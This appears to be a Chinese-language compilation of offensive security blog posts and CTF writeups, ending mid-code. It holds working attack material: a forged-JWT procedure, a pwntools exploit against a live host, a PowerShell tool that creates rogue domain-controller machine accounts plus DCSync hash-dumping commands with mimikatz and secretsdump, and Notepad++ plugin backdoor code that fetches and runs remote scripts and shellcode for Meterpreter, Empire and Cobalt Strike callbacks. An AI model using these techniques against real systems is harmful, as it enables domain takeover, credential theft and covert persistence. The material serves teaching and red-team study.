KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuBz1PHes20d8pwLbsQs25LVh1DETlehgsnv2rJlF7ZagQsnpVI4gycX/C+HwKvonYRNzF3Igdhbcr/qInI+5Gboxbvn3XgGvv2MyFTShpoWZwTCskNga16Gp5GYiUtiIVXnCWqR5cN8knTp+TQhQHanZW5hQ2NJdAfLKiYmzcyDHR2lA8AL1roFNxWm0rtiKbUdG22DD4SHGYKXmxUE4V42/30GjgDDX+WgTnew7FjosO9bFnSSt+baYM8p47otzylc08Cqkl1KHBB0enXTX+Cf4tXogGTTa56OFZvUwLPgpJOtLDOBg26AaHgCnPZJ+ivEB+nUNI64bqY7gxV+slQIDAQAB-----END PUBLIC KEY-----将生成的公钥文件内容转换成base64:LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF1QnoxUEhlczIwZDhwd0xic1FzMgo1TFZoMURFVGxlaGdzbnYyckpsRjdaYWdRc25wVkk0Z3ljWC9DK0h3S3ZvbllSTnpGM0lnZGhiY3IvcUluSSs1Ckdib3hidm4zWGdHdnYyTXlGVFNocG9XWndUQ3NrTmdhMTZHcDVHWWlVdGlJVlhuQ1dxUjVjTjhrblRwK1RRaFEKSGFuWlc1aFEyTkpkQWZMS2lZbXpjeURIUjJsQThBTDFyb0ZOeFdtMHJ0aUtiVWRHMjJERDRTSEdZS1hteFVFNApWNDIvMzBHamdERFgrV2dUbmV3N0Zqb3NPOWJGblNTdCtiYVlNOHA0N290enlsYzA4Q3FrbDFLSEJCMGVuWFRYCitDZjR0WG9nR1RUYTU2T0ZadlV3TFBncEpPdExET0JnMjZBYUhnQ25QWkoraXZFQituVU5JNjRicVk3Z3hWK3MKbFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t3.生成恶意签名密钥在 Burp 中,转到JWT Editor Keys选项卡,然后单击New Symmetric Key将生成的k值替换为刚刚已生成的公钥文件转换成base64内容的值{ "kty": "oct", "kid": "ce2efa0f-50e5-40b9-89dd-548af4d039ef", "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF1QnoxUEhlczIwZDhwd0xic1FzMgo1TFZoMURFVGxlaGdzbnYyckpsRjdaYWdRc25wVkk0Z3ljWC9DK0h3S3ZvbllSTnpGM0lnZGhiY3IvcUluSSs1Ckdib3hidm4zWGdHdnYyTXlGVFNocG9XWndUQ3NrTmdhMTZHcDVHWWlVdGlJVlhuQ1dxUjVjTjhrblRwK1RRaFEKSGFuWlc1aFEyTkpkQWZMS2lZbXpjeURIUjJsQThBTDFyb0ZOeFdtMHJ0aUtiVWRHMjJERDRTSEdZS1hteFVFNApWNDIvMzBHamdERFgrV2dUbmV3N0Zqb3NPOWJGblNTdCtiYVlNOHA0N290enlsYzA4Q3FrbDFLSEJCMGVuWFRYCitDZjR0WG9nR1RUYTU2T0ZadlV3TFBncEpPdExET0JnMjZBYUhnQ25QWkoraXZFQituVU5JNjRicVk3Z3hWK3MKbFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t" } 在 JWT 的标头中,确保alg参数设置为HS256,将sub声明的值更改为administrator在选项卡底部,单击Sign,然后选择您在上一部分中生成的对称密钥 0x08 总结 通过对众多实际案例漏洞测试,其中弱密钥、密钥泄露、不校验签名、信息泄露这些问题出现的居多,像更改 Header 不使用签名,暂时在实际生成环境中没遇到过。测试方面遇到 JWT 根据 jwt-tools 工具和其 WIKI 测试方法,将所有已知漏洞都试一遍,避免遗漏。另一个实际利用点可以尝试 XSS 打 Token。实际场景中通常将 Token 放入 Local Storage 存储,下次请求时取出放入 HTTP Header 传输,那么此时可以配合 XSS 读取 Token 来截取账户。因为 Token 是有时效,部分应用可以通过现有存活 Token 去颁发新的 Token 以此延长使用有效期,通过这点可以让 Token 永久生效。
-
2022年川渝网络与信息安全职业技能竞赛-个人初赛writeup
1.Web 1-1:题目名称:目录扫描 Flag: DASCTF{84a70245035ca88088a2ba6ae2378021} 1-3:题目名称:MissingData 主要就是开头ob_start();所以所有输出都会存到缓冲区,用户手动取输出 所以文件名$this->LOG_NAME由hello获得: $hello = $_GET['hello']; echo $hello; $this->LOG_NAME = base64_decode(ob_get_contents());//就把hello传过来的值存到LOG_NAME了 ob_clean(); 文件内容就是REMOTE_ADDR连接UA: $getlog->setIp($_SERVER['REMOTE_ADDR']); $getlog->setUserAgent($_SERVER['HTTP_USER_AGENT']); $getlog->echoLog(); $log_info = date("Y-m-d H:i:s ").ob_get_contents(); 最末尾析构函数会写日志 public $LOG_PATH = "/log/"; file_put_contents(dirname(__FILE__).$this->LOG_PATH.$this->LOG_NAME,$log_info); //路径也就是./log/$_GET['hello'] //文件内容用UA写个一句话就OK 把输出都先丢缓冲区然后存文件里了,文件名由hello控制,文件内容ua写个一句话就行了 2.MISC 2-3-题目名称:0101 发现是pk开头,是zip压缩包,改成a.zip 使用以下脚本进行得到flag: importzipfile z = zipfile.ZipFile('./a.zip') foriinz.filelist: print(i) s = '' foriinrange(304): x = z.getinfo(f'file/{i}.png') ifx.file_size>500: s += '0' else: s += '1' # print(s) print(int.to_bytes(int(s, 2), 304//8, 'big')) flag: DASCTF{Jo2YAKT_IcRgmzZ3GWe_Swt8vqadQO} 3.CRYPTO 3-1题目名称:soeasy_rsa from gmpy2 import * from Crypto.Util.number import * a=23804021940078676408342301332036892900004728136480076479530219752065125327318821647722459216095770264965388973551323635311313178838670860487788476788686756050157264721772586844596306406576857878507037529439070526513923394974678433717664180257965624133033383511215139076867891548866207158515487182813656668091870588002638518245252590786003914393372830494390833657940568569618842104970029260363695053572749495893999945220493935637334868029460448282514843103145795102173534495304156971490358608124680851055950154432367509652612855903019752959349069234185596982394068554146096092741880878895682860091022727772496856721290 p=iroot(a,2) print(p) p=154285520837435281376516898144008792793020984180192603663692347665042795645086703863131549256869630446819852185017005249707039620525550780754809067914632509810226131750340822324265288338519653179637243674514007442185191001273565127093303845334544550007384054303733880561987508919843229875482519439615469904551 print(is_prime(p)) c1 = 75949211970645260477840809230795170598275394663655585446502049744151634977806266592064437936389888280642329073167371358021391264606028082728274944584341647324957857195053188220196244561623697425292916511744852569537275299008074069250282222480373555169325242455879869868679935977005580843853804599341730525546675515324718058489296906319060874296111833437083796029771812 c2 = 77907941155376849046818020584594846942386293571953448410760364023962818506838837521412252753647936913064982141652362831680077554268552176063108954360620095019160785058740575077744544616439692739387312706279917959252426192939648962492950940347253817951644007140862267776520611944302335981903665518644840891111449931544355548130487697653008605945892957382219567188182572 q=iroot(a-(p**2),2) print(q) q=888347358062191513488156436138991579826598872460149267394117 n=p*q for e in range(2**16): try: d=invert(e,(p-1)*(q-1)) m=pow(c1,d,n) m=long_to_bytes(m) if b'DASCTF' in m: print(e) print(m) except:pass 3-2题目名称:middlersa1 dp低位泄露,直接sagemath还原dp fromtqdmimport* secret = 1642122247947767590084047512154856959705749371720710428047250478126321193705946117104552307567185209952017 e = 0x10001 n = 53290208062987048378703574235428685467319210471478014757229530639473548433668122104609082311237893278140109351209752453324855439700478949142631006593125874482133364050198292529339327668306943207846561273907830779959709641714284066463679953568692820076085446240980505949826504849495848235048490118010959579651 F.<x> = PolynomialRing(Zmod(n)) d = inverse_mod(e, n) forkintrange(1, e): f = (2^350*x+secret ) + (k-1) *d f=f.monic() x0 = f.small_roots(X=2** (160+1), beta=0.44, epsilon=1/32) iflen(x0) != 0: dp = x0[0]*2^350+secret foriinrange(2, e): p = (e*Integer(dp) -1+i) //i ifn%p == 0: break ifp<0: continue else: print('p =',p) print('dp =',dp) break charon@root:~/Desktop$sage3.sage 3%|█▏ |2131/65536 [04:20<2:15:43, 7.79it/s]('p =', 7285247160124204278422137084033487832078298767596529079060207472774245581946206647731149570480079821873425695996881346401317790559430521087133338233749429) ('dp =', 236998137622790233327677438136615897248743961007000625548260712756987527361785137753678241058692497066300617725336085425448365495410315866728234083256081) 3%|█▏ |2131/65536 [04:20<2:09:08, 8.18it/s] fromCrypto.Util.numberimport* fromgmpy2import* p=7285247160124204278422137084033487832078298767596529079060207472774245581946206647731149570480079821873425695996881346401317790559430521087133338233749429 n=53290208062987048378703574235428685467319210471478014757229530639473548433668122104609082311237893278140109351209752453324855439700478949142631006593125874482133364050198292529339327668306943207846561273907830779959709641714284066463679953568692820076085446240980505949826504849495848235048490118010959579651 c=12164583901228226723569831803555747425419794714331207509347997795520206866173813478558747259319024376651968008838562856265966903471803669392265118265704723742518812401306445616633449971845569756343283456918105040589961351125414282181230864299705837250020888494290318050869813023592249838047791552928679622761 print(is_prime(p)) print(gcd(n,p)) q=n//p e = 0x10001 d=invert(e,(p-1)*(q-1)) m=pow(c,d,n) print(long_to_bytes(m)) DASCTF{6f05154b11bdf950cd2444176618139a} 3-3 题目名称:middlersa3 白给,直接源码中给了flag fromCrypto.Util.numberimport* FLAG = b'DASCTF{ed3256281d277e12d926b0e8b49f6d78}' p = getPrime(512) q = getPrime(512) e = 0x10001 d = inverse(e, (p-1)*(q-1)) dp = d% (p-1) print('dp:', (dp&(2**(512-50)-1))>>50) print('N:', p*q) print('c:', pow(bytes_to_long(FLAG), e, p*q)) ''' dp: 2128058695275696512876004752540135766587344290422001997701794179770820634047195468195463118189149674857434252592319139131895 N: 62750404132378782351782654563543747630197449894041776451397790050374158627602509619666444474672286035538086447514257150773929857058930455173191928959453666895924318267595065857666587937426343157432947610821599765514871454429345275531144349280502167596016574278216643741963132363234498658461551550399794413383 c: 55337446119274361069965649785140747071935055092480249085789478526259932536136231609682528797724708750732847686561672780887952659134484499521434824018747099238582445758002389884725560169750050917959735297922450030075064765749276015138482194721673506034988635977907296576683118011031333035476989567847885710256 ''' DASCTF{ed3256281d277e12d926b0e8b49f6d78} 4.RE 4-1题目名称:simpleDispy pydis阅读题, 手动还原pydis验证算法. arr = [47378, 29475, 46200, 39869, 67243, 68695, 73129, 27171, 53832, 30653, 60541, 67276, 58816, 63571, 50131, 34471, 67922, 82293, 33259, 67538, 57810, 50339, 34632, 68754, 83192, 36077, 60424, 54547, 56308, 33565, 69425, 84024] # 验证 k = 22643 flag = 't'*32 for i in range(32): num = (ord(flag[i])*255)+k if arr[i] != num: print('Error') break k = (k+num)&0xFFFF # 还原flag k = 22643 flag = '' for i in range(32): flag += chr(((arr[i] - k)//255)) k = (k+arr[i])&0xFFFF print(flag) flag: ab0c216ec63a9f984cbf8975ad63e09c 4-2题目名称:stripgo v1=encoding_base64_NewEncoding((__int64)"QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbn/+m1234567890", 64LL); if ( v4==32&&runtime_memequal(v3, (__int64)"K/WyqBFyrUisB1Pse2KyDVYxM2CfMJ==", 32LL) ) 变表base64 https://gchq.github.io/CyberChef/#recipe=From_Base64('QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbn/%2Bm1234567890',true,false)&input=Sy9XeXFCRnlyVWlzQjFQc2UyS3lEVll4TTJDZk1KPT0 G0_is_the_best_1anguge, 然后再进行md5加密 Flag: 3ffecbd5aa525bfdbfae5987e8f961f9 DASCTF{4c73ad66ef2a06aaa704e696f2dd1034} 5.PWN 5-1 题目名称:ez_canary #!/usr/bin/env python3 #!coding: utf-8 from pwn import * context.log_level = "debug" magic = 0x000000000040121E r = remote("43.143.139.234", 50905) payload = b"k"*(0xa+1) r.sendafter(b"Username:", payload) canary = u64(b"\x00"+r.recv()[6+0xa+1:6+0xa+1+7]) payload2 = b"k"*(0x1c-8) + p64(canary) + b"k"*8 + p64(magic) r.send(payload2) r.interactive() DASCTF{c0dfc9d2ed0169818388a379e6fca2e0} 题目附件: 链接:https://pan.baidu.com/s/1KjEFjody2k_0hcjuK0nSag 提取码:55tt
-
利用机器账户进行域权限维持
0x00 前言机器帐户被许多技术用于权限提升和横向移动,但也有通过机器帐户建立域权限持久性的情况。这涉及将任意机器帐户添加到特权组(例如域管理员组)或修改机器帐户的 userAccountControl 属性中,使其转换为域控制器。在这两种情况下,攻击者都可以通过机器帐户进行身份验证并执行特权操作,例如通过 DCSync 导出所有域哈希等。 @Sean Metcalf 是第一个公开披露如何通过将机器帐户添加到高权限组来将机器帐户用作域持久性后门的人,此方法与向域管理员组添加标准用户帐户相同。2020 年, @Stealthbits 发布了一篇名为《SERVER (UN)TRUST ACCOUNT》的文章,展示了另一种持久性技术,其中涉及如何从机器帐户进行 Active Directory 复制。尽管通过 DCSync 技术转储密码哈希并不新鲜,并且相关操作可能会触发适当的警报,但使用机器帐户执行相同的技术能够达到更隐蔽的目的。 0x01 userAccountControl基础知识在活动目录中,userAccountControl 是每一个账户的必备属性,该属性是一个位字段,不同的标志位代表不同的用户信息,该属性的值为所有标志位值的和。 下图是微软官方文档中给出的可能标志位,以及其十六进制和十进制值,详情请参考:Use the UserAccountControl flags to manipulate user account properties。 userAccountControl 中有一个名为 SERVER_TRUST_ACCOUNT 的标志位,其十六进制值为 0x2000,十进制值为 8192,用来表示该账户是域控制器的机器帐户。当机器账户的 userAccountControl 属性设置了 SERVER_TRUST_ACCOUNT 标志位后,Active Directory 必须将该账户的 primaryGroupId 属性设置为域控制器组的 RID。因此,只需更改 userAccountControl 的标志位即可为普通域成员机器授予域控制器的特权。 0x02 实验测试一在实战中,攻击者可以通过滥用 userAccountControl 属性,将普通域内机器的身份变为域控制器,并配合 DCSync 技术实现域持久化。具体做法比较简单,就是将机器账户的 userAccountControl 属性值设置为 8192。 (1)在域控制器上执行以下命令,通过 Powermad 在域内创建一个名为 PENTEST$ 的机器账户,账户密码设为 Passw0rd。 Import-Module .\Powermad.ps1# 设置机器账户的密码 $Password = ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force # 通过 New-MachineAccount 函数创建一个机器账户 New-MachineAccount -MachineAccount "PENTEST" -Password $($Password) -Domain "pentest.com" -DomainController "DC01.pentest.com" -Verbose (2)执行以下命令,通过 PowerView.ps1 查询新添加的机器账户 PENTEST$。可以看到,账户 PENTEST$ 的主要组 ID(primaryGroupId)为 515,这是 Domian Computers 组的 RID,说明 PENTEST$ 此时还是一台普通域成员机器,如下图所示。 Import-Module .\PowerView.ps1 Get-NetComputer -Identity "PENTEST" -Properties name, primaryGroupID, userAccountControl (3)执行以下命令,通过 PowerView.ps1 将 PENTEST$ 账户的 userAccountControl 属性值设为 8192,这将更改账户的主要组 ID 为 516,如图下所示。此时,PENTEST$ 账户的主要组被改为了 Domain Controllers,也就是域控制器组。 Import-Module .\PowerView.ps1 Set-DomainObject -Identity "PENTEST$" -Set @{"userAccountControl" = 8192} -Verbose 如下图所示,此时 PENTEST$ 账户已经是一台域控制器了。 (4)由于其拥有所需的特权并且账户密码已知,所以在普通域主机上可直接通过 secretsdump.py 执行 DCSync 操作来导出域用户哈希,如图所示。 python3 secretsdump.py pentest.com/PENTEST\$:[email protected] -just-dc 根据上述利用过程,编写了一个简单的 PowerShell 脚本 NewDomainController.ps1,以下是完整的代码: Function NewDomainController { <# .SYNOPSIS This script will create a new domain controller account in the domain for the purpose of domain persistence. .DESCRIPTION In Active Directory, userAccountControl is a necessary attribute of each account. This attribute is a bit field. Different flags represent different user information. The value of this attribute is the sum of all flags. There is a flag named SERVER_TRUST_ACCOUNT in userAccountControl, whose hexadecimal value is 0x2000 and decimal value is 8192, which is used to indicate that the account is the machine account of the domain controller. When a machine account's userAccountControl attribute has the SERVER_TRUST_ACCOUNT bit set, Active Directory must set the account's primaryGroupId attribute to the RID of the domain controller group. So just change userAccountControl to grant domain controller privileges to normal domain member machines. .LINK https://whoamianony.top/domain-persistence-machine-accounts/ .PARAMETER Domain Specifies the domain name, if omitted, the domain name will be obtained automatically. .PARAMETER DomainController Specifies the FQDN of the domain controller. .PARAMETER MachineAccount Specifies the name of the machine account to be created. .PARAMETER Password Specifies the password of the machine account to be created. .OUTPUTS Output will be shown in the console .NOTES Version: 0.1 Author: WHOAMI Date: 01/18/2022 .EXAMPLE NewDomainController -MachineAccount "PENTEST" -Password "Passw0rd" -Domain "pentest.com" -DomainController "DC01.pentest.com" #> param ( [Parameter(Mandatory = $false)] [ValidateNotNullOrEmpty()] [string]$Domain, [Parameter(Mandatory = $false)] [ValidateNotNullOrEmpty()] [string]$DomainController, [Parameter(Mandatory = $false)] [ValidateNotNullOrEmpty()] [string]$MachineAccount, [Parameter(Mandatory = $false)] [ValidateNotNullOrEmpty()] [string]$Password ) function FormatStatus([string]$Flag, [string]$Message) { If($Flag -eq "1") { Write-Host "[+] " -ForegroundColor:Green -NoNewline Write-Host $Message }ElseIf($Flag -eq "0") { Write-Host "[-] " -ForegroundColor:Red -NoNewline Write-Host $Message } } $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") if($Password) { $SecurePassword = $Password | ConvertTo-SecureString -AsPlainText -Force $PasswordBSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecurePassword) $PasswordClearText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PasswordBSTR) $PasswordClearText = [System.Text.Encoding]::Unicode.GetBytes('"' + $PasswordClearText + '"') } if(!$DomainController -or !$Domain) { try { $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { FormatStatus 0 "$($_.Exception.Message)" throw } if(!$DomainController) { $DomainController = $CurrentDomain.PdcRoleOwner.Name FormatStatus 1 "Get Domain Controller: $DomainController" } if(!$Domain) { $Domain = $CurrentDomain.Name $Domain = $Domain.ToLower() FormatStatus 1 "Get Domain Name: $Domain" } } $_MachineAccount = $MachineAccount if($MachineAccount.EndsWith('$')) { $SAMAccountName = $_MachineAccount $_MachineAccount = $_MachineAccount.SubString(0,$_MachineAccount.Length - 1) } else { $SAMAccountName = $_MachineAccount + "$" } FormatStatus 1 "Get SAMAccountName: $SAMAccountName" $DistinguishedName = "CN=$_MachineAccount,CN=Computers" $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $DistinguishedName += ",DC=$DC" } FormatStatus 1 "Get DistinguishedName: $DistinguishedName" FormatStatus 1 "Start creating a machine account $MachineAccount" $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389) $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier) $connection.SessionOptions.Sealing = $true $connection.SessionOptions.Signing = $true $connection.Bind() $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest FormatStatus 1 "Set the DistinguishedName property of the $MachineAccount account to $DistinguishedName" $request.DistinguishedName = $DistinguishedName $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null FormatStatus 1 "Set the DistinguishedName property of the $MachineAccount account to $SAMAccountName" $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$SAMAccountName)) > $null FormatStatus 1 "Set the userAccountControl property of the $MachineAccount account to 8192" $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","8192")) > $null FormatStatus 1 "Register the DnsHostName of the $MachineAccount account as $_MachineAccount.$Domain" $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$_MachineAccount.$Domain")) > $null FormatStatus 1 "Start registering SPN for $MachineAccount account: HOST/$_MachineAccount.$Domain, RestrictedKrbHost/$_MachineAccount.$Domain" $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$_MachineAccount.$Domain","RestrictedKrbHost/$_MachineAccount.$Domain","HOST/$_MachineAccount","RestrictedKrbHost/$_MachineAccount")) > $null FormatStatus 1 "Set the password for the $MachineAccount account to $Password" $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$PasswordClearText)) > $null try { $connection.SendRequest($request) > $null FormatStatus 1 "Create machine account $MachineAccount successfully" } catch { FormatStatus 0 "$($_.Exception.Message)" if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*') { FormatStatus 0 "User may have reached ms-DS-MachineAccountQuota limit" } } } 运行该脚本即可创建一个新的域控账户,如下图所示。 Import-Module .\NewDomainController.ps1 NewDomainController -MachineAccount "PENTEST" -Password "Passw0rd" -Domain "pentest.com" -DomainController "DC01.pentest.com" 机器帐户可以属于安全组,因此可以直接将机器账户加入特权组,以实现域持久性。例如,执行以下命令,将机器账户 PENTEST$ 加入到域管理员组(Domain Admins),如下图所示。 net group "Domain Admins" PENTEST$ /add /domain 如图下所示,获得域管理员权限的机器账户可成功导出域内用户哈希 python secretsdump.py pentest.com/PENTEST\$:[email protected] -just-dc-user "PENTEST\Administrator" 值得注意的是,如果机器账户位于像 Domain Admins 这样的特权组,那么机器账户是被允许登录的,如下图所示: python secretsdump.py pentest.com/PENTEST\$:[email protected] python3 secretsdump.py purple.lab/Pentestlab\$:[email protected] -just-dc-user krbtgt0x02 实验测试一(推荐使用)添加机器用户DCBAK(UserAccountControl 为 8192),密码为123456(密码写死的,需要修改密码,可自行修改,重新编译) 工具地址:https://github.com/chibd2000/hyscan 添加机器用户命令: hyscan.exe --scantype ldapscan --ldaptype addComputerUac8192 --domainName hengge.com --pcname DCBACK --dc 192.168.4.11 可以看到当UserAccountControl 为 8192的时候,此时隶属于domain controller组中 查看域控制器成员,发现机器用户DCBAK已在列表中 net group "domain controllers" /domain 在一台WIN-SKE-PC普通域机器中进行维权操作,这里通过命令runas进行远程CMD命令执行。 runas /user:hengge.com\dcback /netonly cmd 在机器用户DCBAK的网络令牌下进行DCYNC的DUMP出域的hash mimikatz.exe "lsadump::dcsync /domain:attack.local /all /csv" exit impacket serectdump进行DCYNC的DUMP出域的hash python secretsdump.py hengge.com/[email protected] -hashes 32ed87bdb5fdc5e9cba88547376818d4:32ed87bdb5fdc5e9cba88547376818d4 -just-dc-ntlm 参考文章https://whoamianony.top/domain-persistence-machine-accounts/https://itach1.com/archives/102/#cl-1https://adsecurity.org/?p=2753 https://www.cnblogs.com/zpchcbd/p/15840413.htmlhttps://stealthbits.com/blog/server-untrust-account/
-
利用Notepad++ 自定义插件进行权限维持
0x00 前言 Notepad++是一个流行的 Windows 文本编辑器,它具有插件方式的扩展功能。 在 Windows 环境中,尤其是在开发人员和IT 人员的主机中安装了 Notepad++ 文本编辑器的情况并不少见。除了可以为红队人员提供重要信息的收集之外,还可以通过将从远程命令执行加载或脚本的任意插件来用作权限维持。 0x01 基本消息框示例 Notepad++ 插件可用于扩展 Notepad++ 的功能。默认情况下,用户可以在 Notepad++ 已信任的插件列表中安装所需插件,但也可以运行安装自定义插件,无需任何验证,从而为开发人员提供可扩展文本编辑器使用的灵活性。插件具有 DLL 文件的形式,要安装自定义插件,只需将 DLL 放入%PROGRAMFILES%\Notepad++\plugins\pluginName\pluginName.dll. 好处是加载或激活插件不需要用户交互。缺点是需要本地管理员权限才能写入目录。 应该注意的是,为了加载插件,文件夹名和 DLL文件名需要相同。对于红队人员来说,不需要从头开始编写恶意插件,因为Notepad++ 插件包可以用作修改模板。当特定事件发生时,有多种 API 可用于执行任意操作。当在 notepad++ 中输入字符时, SCI_ADDTEXT API 将触发自定义命令。在以下示例中,当插入字符时将会弹出一个消息框。 可以在https://github.com/kbilsted/NotepadPlusPlusPluginPack.Net/blob/master/Visual%20Studio%20Project%20Template%20C%23/Main.cs 中使用 .NET 模板的OnNotification下进行修改代码 修改的代码如下:class Main{ static bool ExecuteOnce = true; public static void OnNotification(ScNotification notification) { if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && ExecuteOnce) { MessageBox.Show("Persistence via Notepad++ - Visit https://pentestlab.blog"); ExecuteOnce = !ExecuteOnce; } } 或者:class Main{ static bool firstRun = true; public static void OnNotification(ScNotification notification) { if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && firstRun) { using var process = Process.GetCurrentProcess(); MessageBox.Show($"Hello from {process.ProcessName} ({process.Id})."); firstRun = !firstRun; } } 编译代码将生成 DLL 文件,需要在超级管理员权限下运行,因为需要写入权限才能将插件写入到相关的子文件夹中。 dir "C:\Program Files\Notepad++\plugins\pentestlab" Notepad++ 插件位置 在下次启动 Notepad++ 并输入字符时,将弹出一个消息框,显示代码已编译执行成功。 0x02 MSF反弹示例也可以执行无文件的有效载荷从而建立通信通道。这里可以利用windows regsvr32 二进制文件从远程位置加载执行脚本。Metasploit 框架通过 web 交付模块支持该利用方式。 use exploit/multi/script/web_delivery set target 2 set payload windows/x64/meterpreter/reverse_tcp set LHOST 10.0.0.3 set LPORT 4444 run可以稍微修改使用所需的参数来执行regsvr32的命令 class Main { static bool firstRun = true; public static void OnNotification(ScNotification notification) { if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && firstRun) { string strCmdText; strCmdText = "/s /n /u /i:http://10.0.0.3:8080/nHIcvfz6N.sct scrobj.dll"; Process.Start("regsvr32", strCmdText); firstRun = !firstRun; } }类似地,与初始示例一样,当在 Notepad++ 中输入新字符时,将触发执行命令的事件 Meterpreter 将进行会话监听,并建立通信通道。 执行以下命令将启动与目标主机的交互 sessions sessions -i 1 pwd getuidNotepad++ 0x03 Empire反弹shell示例以类似的方式,Empire C2 可用于生成各种 stager 文件。这些文件通常包含一个可以在 PowerShell 进程中执行的 base64 命令。以下 用stager 方式作为示例: usestager windows/launcher_sctEmpire Stager 模块stager 应该指向已经在 Empire 中运行的监听器,并且执行命令会将文件写入到“ generated-stagers ”文件夹中。 set Listener http executeEmpire可以将生成的launcher.sct文件上传到目标系统中,然后通过 regsvr32 命令执行 或者可以复制launcher.sct文件中生成的base64,通过插件内部使用该命令来执行来躲避杀软的检查。 Empire – PowerShell Base64 有效负载示例代码:class Main {static bool ExecuteOnce = true; public static void OnNotification(ScNotification notification) { if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && firstRun) { string strCmdText; strCmdText = "-noP -sta -w -l enc base64命令执行代码; Process.Start("powershell", strCmdText); ExecuteOnce = !ExecuteOnce; } } 触发命令后,Empire 中将出现一个新的交互式shell。 agents Notepad++ Empire Empire 模块的命令还可有信息收集的功能,例如对主机桌面进行截图以及用户名、连接字符串或 URL 之类的信息。 usemodule powershell/collection/screenshot set Agent notepad execute Notepad++ Empire截图 0x04 cobaltstike反弹shell示例将 MessageBox 替换为 shellcode通过cobasltsike加载,代码如下: if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && firstRun) { using var client = new WebClient(); var buf = client.DownloadData("http://172.19.215.47/shellcode"); var hMemory = VirtualAlloc( IntPtr.Zero, (uint)buf.Length, AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ReadWrite); Marshal.Copy(buf, 0, hMemory, buf.Length); _ = VirtualProtect( hMemory, (uint)buf.Length, MemoryProtection.ExecuteRead, out _); _ = CreateThread( IntPtr.Zero, 0, hMemory, IntPtr.Zero, 0, out _); firstRun = !firstRun; } 0x05 总结 应该注意的是,该权限持久性技术的一个缺点是需要用户键入字符,因此可能不会经常收到反弹 shell。
-
2022第三届“网鼎杯”网络安全大赛-青龙组 部分WriteUp
MISC 签到题 八道网络安全选择题,百度都能搜索到答案,这里如果只知道部分题目答案,可以通过枚举测试fuzz答案,获得flag flag: flag{a236b34b-8040-4ea5-9e1c-97169aa3f43a} RE re693 直接下载附件用golang打开 看main函数可以发现会打印两句话,要求输入有六个参数并且第三个为gLIhR 的函数、被调用三次并且会调用到cHZv5op8rOmlAkb6的函数 Input the first function, which has 6 parameters and the third named gLIhR: 输入第一个函数,它有 6 个参数,第三个名为 gLIhR: Input the second function, which has 3 callers and invokes the function named cHZv5op8rOmlAkb6: 输入第二个函数,它有 3 个调用者并调用名为 cHZv5op8rOmlAkb6 的函数: 直接全局搜索,第一个函数为,ZlXDJkH3OZN4Mayd,有6个参数 第二个函数可以先全局搜索cHZv5op8rOmlAkb6 看哪个函数会调用到这个函数,然后再进一步搜索看看符不符合题意,相对应函数为UhnCm82SDGE0zLYO 有6个,出去自己,还有之后那个2个重复判断,则有3个调用 然后就是看主函数 func main() { var nFAzj, CuSkl string jjxXf := []byte{ 37, 73, 151, 135, 65, 58, 241, 90, 33, 86, 71, 41, 102, 241, 213, 234, 67, 144, 139, 20, 112, 150, 41, 7, 158, 251, 167, 249, 24, 129, 72, 64, 83, 142, 166, 236, 67, 18, 211, 100, 91, 38, 83, 147, 40, 78, 239, 113, 232, 83, 227, 47, 192, 227, 70, 167, 201, 249, 156, 101, 216, 159, 116, 210, 152, 234, 38, 145, 198, 58, 24, 183, 72, 143, 136, 234, 246} KdlaH := []byte{ 191, 140, 114, 245, 142, 55, 190, 30, 161, 18, 200, 7, 21, 59, 17, 44, 34, 181, 109, 116, 146, 145, 189, 68, 142, 113, 0, 33, 46, 184, 21, 33, 66, 99, 124, 167, 201, 88, 133, 20, 211, 67, 133, 250, 62, 28, 138, 229, 105, 102, 125, 124, 208, 180, 50, 146, 67, 39, 55, 240, 239, 203, 230, 142, 20, 90, 205, 27, 128, 136, 151, 140, 222, 92, 152, 1, 222, 138, 254, 246, 223, 224, 236, 33, 60, 170, 189, 77, 124, 72, 135, 46, 235, 17, 32, 28, 245} fmt.Print(MPyt9GWTRfAFNvb1(jjxXf)) fmt.Scanf("%20s", &nFAzj) fmt.Print(kZ2BFvOxepd5ALDR(KdlaH)) fmt.Scanf("%20s", &CuSkl) vNvUO := GwSqNHQ7dPXpIG64(nFAzj) YJCya := "" mvOxK := 